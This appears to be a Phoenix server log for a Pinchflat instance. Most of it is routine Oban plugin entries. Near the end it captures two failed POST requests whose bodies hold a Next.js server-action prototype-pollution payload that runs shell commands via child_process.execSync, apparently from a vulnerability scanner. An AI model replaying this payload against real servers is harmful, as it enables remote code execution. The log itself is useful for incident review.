{"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:05:45.023 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:06:00.705 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:06:15.024 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:06:45.025 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:07:00.706 [info] {"source":"oban","duration":156,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:07:15.026 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:07:45.027 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:08:00.707 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:08:15.028 [info] {"source":"oban","duration":626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:08:45.029 [info] {"source":"oban","duration":731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:09:00.708 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:09:15.030 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:09:45.031 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:10:00.709 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:10:15.032 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:10:45.033 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:11:00.710 [info] {"source":"oban","duration":213,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:11:15.034 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:11:45.035 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:12:00.711 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:12:15.036 [info] {"source":"oban","duration":579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:12:45.037 [info] {"source":"oban","duration":575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:13:00.712 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:13:15.038 [info] {"source":"oban","duration":521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:13:45.039 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:14:00.713 [info] {"source":"oban","duration":155,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:14:15.040 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:14:45.041 [info] {"source":"oban","duration":626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:15:00.714 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:15:15.042 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:15:45.043 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:16:00.715 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:16:15.044 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:16:45.045 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:17:00.716 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:17:15.046 [info] {"source":"oban","duration":576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:17:45.047 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:18:00.717 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:18:15.048 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:18:45.049 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:19:00.718 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:19:15.050 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:19:45.051 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:20:00.719 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:20:15.052 [info] {"source":"oban","duration":582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:20:45.053 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:21:00.720 [info] {"source":"oban","duration":164,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:21:15.054 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:21:45.055 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:22:00.721 [info] {"source":"oban","duration":239,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:22:15.056 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:22:45.057 [info] {"source":"oban","duration":568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:23:00.722 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:23:15.058 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:23:45.059 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:24:00.723 [info] {"source":"oban","duration":200,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:24:15.060 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:24:45.061 [info] {"source":"oban","duration":697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:25:00.724 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:25:15.062 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:25:45.063 [info] {"source":"oban","duration":617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:26:00.725 [info] {"source":"oban","duration":208,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:26:15.064 [info] {"source":"oban","duration":633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:26:45.065 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:27:00.726 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:27:15.066 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:27:45.067 [info] {"source":"oban","duration":636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:28:00.727 [info] {"source":"oban","duration":204,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:28:15.068 [info] {"source":"oban","duration":554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:28:45.069 [info] {"source":"oban","duration":727,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:29:00.728 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:29:15.070 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:29:45.071 [info] {"source":"oban","duration":597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:30:00.729 [info] {"source":"oban","duration":267,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:30:15.072 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:30:45.073 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:31:00.730 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:31:15.074 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:31:45.075 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:32:00.731 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:32:15.076 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:32:45.077 [info] {"source":"oban","duration":586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:33:00.732 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:33:15.078 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:33:45.079 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:34:00.733 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:34:15.080 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:34:45.081 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:35:00.734 [info] {"source":"oban","duration":239,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:35:15.082 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:35:45.083 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:36:00.735 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:36:15.084 [info] {"source":"oban","duration":850,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:36:45.086 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:37:00.736 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:37:15.087 [info] {"source":"oban","duration":595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:37:45.088 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:38:00.737 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:38:15.089 [info] {"source":"oban","duration":638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:38:45.090 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:39:00.738 [info] {"source":"oban","duration":164,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:39:15.091 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:39:45.092 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:40:00.739 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:40:15.093 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:40:45.094 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:41:00.740 [info] {"source":"oban","duration":209,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:41:15.095 [info] {"source":"oban","duration":597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:41:45.096 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:42:00.741 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:42:15.097 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:42:45.098 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:43:00.742 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:43:15.099 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:43:45.100 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:44:00.743 [info] {"source":"oban","duration":158,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:44:15.101 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:44:45.102 [info] {"source":"oban","duration":617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:45:00.744 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:45:15.103 [info] {"source":"oban","duration":633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:45:45.104 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:46:00.745 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:46:15.105 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:46:45.106 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:47:00.746 [info] {"source":"oban","duration":206,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:47:15.107 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:47:45.108 [info] {"source":"oban","duration":597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:48:00.747 [info] {"source":"oban","duration":188,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:48:08.952 [info] POST / 03:48:08.952 [debug] Could not render errors due to no supported media type in accept header. Expected one of ["html", "json"] but got the following formats: * "text/x-component" with extensions: [] To accept custom formats, register them under the :mime library in your config/config.exs file: config :mime, :types, %{ "application/xml" => ["xml"] } And then run `mix deps.clean --build mime` to force it to be recompiled. . Errors will be rendered using the first accepted format "html" as fallback. Please customize the :formats option under the :render_errors configuration in your endpoint if you want to support other formats or choose another fallback 03:48:08.953 [debug] QUERY OK source="settings" db=0.2ms idle=1906.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:48:08.953 [debug] QUERY OK source="settings" db=0.0ms idle=1906.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:48:08.953 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 03:48:08.953 [error] #PID<0.7651.0> running PinchflatWeb.Endpoint (connection #PID<0.7650.0>, stream id 1) terminated Server: pinchflat.8layer8.com:80 (http) Request: POST / ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7650.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 58742}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/x-component", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "content-length" => "648", "content-type" => "multipart/form-data; boundary=bdb04bdd8f97728b46f43c12ee3f4f1cfb31631d77088fe99f6c7cb2d812", "host" => "pinchflat.8layer8.com", "next-action" => "x", "origin" => "https://pinchflat.8layer8.com", "referer" => "https://pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "POST", body_length: 648, path_info: :undefined, qs: "", has_body: true, streamid: 1, host_info: :undefined, has_read_body: true }}, assigns: %{}, body_params: %{ "0" => "{\"_response\":{\"_formData\":{\"get\":\"$1:constructor:constructor\"},\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('echo VULN_1774770488_7610',{'timeout':30000}).toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\"},\"reason\":-1,\"status\":\"resolved_model\",\"then\":\"$1:__proto__:then\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\"}", "1" => "\"$@0\"" }, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "POST", owner: #PID<0.7651.0>, params: %{ "0" => "{\"_response\":{\"_formData\":{\"get\":\"$1:constructor:constructor\"},\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('echo VULN_1774770488_7610',{'timeout':30000}).toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\"},\"reason\":-1,\"status\":\"resolved_model\",\"then\":\"$1:__proto__:then\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\"}", "1" => "\"$@0\"" }, path_info: [], path_params: %{}, port: 80, private: %{ :plug_multipart => :done, PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "text/x-component"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"content-length", "648"}, {"content-type", "multipart/form-data; boundary=bdb04bdd8f97728b46f43c12ee3f4f1cfb31631d77088fe99f6c7cb2d812"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"origin", "https://pinchflat.8layer8.com"}, {"referer", "https://pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFAW0fX5RsHBIsAA0IB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7650.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 58742}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/x-component", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "content-length" => "648", "content-type" => "multipart/form-data; boundary=bdb04bdd8f97728b46f43c12ee3f4f1cfb31631d77088fe99f6c7cb2d812", "host" => "pinchflat.8layer8.com", "next-action" => "x", "origin" => "https://pinchflat.8layer8.com", "referer" => "https://pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "POST", body_length: 648, path_info: :undefined, qs: "", has_body: true, streamid: 1, host_info: :undefined, has_read_body: true }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7650.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 58742}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/x-component", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "content-length" => "648", "con (truncated) 03:48:09.358 [info] POST / 03:48:09.358 [debug] Could not render errors due to no supported media type in accept header. Expected one of ["html", "json"] but got the following formats: * "text/x-component" with extensions: [] To accept custom formats, register them under the :mime library in your config/config.exs file: config :mime, :types, %{ "application/xml" => ["xml"] } And then run `mix deps.clean --build mime` to force it to be recompiled. . Errors will be rendered using the first accepted format "html" as fallback. Please customize the :formats option under the :render_errors configuration in your endpoint if you want to support other formats or choose another fallback 03:48:09.358 [debug] QUERY OK source="settings" db=0.1ms idle=1225.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:48:09.359 [debug] QUERY OK source="settings" db=0.0ms idle=405.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:48:09.359 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 03:48:09.359 [error] #PID<0.7652.0> running PinchflatWeb.Endpoint (connection #PID<0.7650.0>, stream id 2) terminated Server: pinchflat.8layer8.com:80 (http) Request: POST / ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7650.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 58742}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/x-component", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "content-length" => "643", "content-type" => "multipart/form-data; boundary=7afb6866ea61ee4a8f9c06074f9c9065b90cc7e2a2e81fc532637395b58d", "host" => "pinchflat.8layer8.com", "next-action" => "x", "origin" => "https://pinchflat.8layer8.com", "referer" => "https://pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "POST", body_length: 643, path_info: :undefined, qs: "", has_body: true, streamid: 2, host_info: :undefined, has_read_body: true }}, assigns: %{}, body_params: %{ "0" => "{\"_response\":{\"_formData\":{\"get\":\"$1:constructor:constructor\"},\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('echo TEST_1774770489',{'timeout':30000}).toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\"},\"reason\":-1,\"status\":\"resolved_model\",\"then\":\"$1:__proto__:then\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\"}", "1" => "\"$@0\"" }, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "POST", owner: #PID<0.7652.0>, params: %{ "0" => "{\"_response\":{\"_formData\":{\"get\":\"$1:constructor:constructor\"},\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('echo TEST_1774770489',{'timeout':30000}).toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\"},\"reason\":-1,\"status\":\"resolved_model\",\"then\":\"$1:__proto__:then\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\"}", "1" => "\"$@0\"" }, path_info: [], path_params: %{}, port: 80, private: %{ :plug_multipart => :done, PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "text/x-component"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"content-length", "643"}, {"content-type", "multipart/form-data; boundary=7afb6866ea61ee4a8f9c06074f9c9065b90cc7e2a2e81fc532637395b58d"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"origin", "https://pinchflat.8layer8.com"}, {"referer", "https://pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", 